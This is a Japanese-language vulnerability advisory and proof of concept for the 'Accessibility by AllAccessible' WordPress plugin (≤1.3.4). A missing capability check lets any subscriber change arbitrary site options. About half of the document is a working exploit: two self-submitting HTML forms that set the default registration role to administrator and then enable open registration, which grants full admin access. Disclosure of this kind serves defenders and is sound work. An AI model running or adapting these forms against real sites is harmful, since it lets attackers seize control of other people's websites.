
Accessibility by AllAccessible <= 1.3.4 - 認証済み(Subscriber+)による任意のオプション更新に対する認可の欠如
Accessibility by AllAccessible <= 1.3.4 - 認証済み(購読者以上)による任意のオプション更新への認可不足
WordPress用プラグインAccessibility by AllAccessibleは、バージョン1.3.4までのすべてのバージョンにおいて、'AllAccessible_save_settings'関数に能力チェックが欠如しているため、データの不正な変更が可能であり、権限昇格につながる脆弱性があります。これにより、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、WordPressサイト上の任意のオプションを更新できるようになります。これを利用して、デフォルトの登録ロールを管理者に変更し、ユーザー登録を有効にすることで、攻撃者は脆弱なサイトへの管理者ユーザーアクセスを取得できます。
購読者としてログインし、これらのフォームを使用して管理者のデフォルトロールを設定し、次にユーザー登録を有効にします。
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>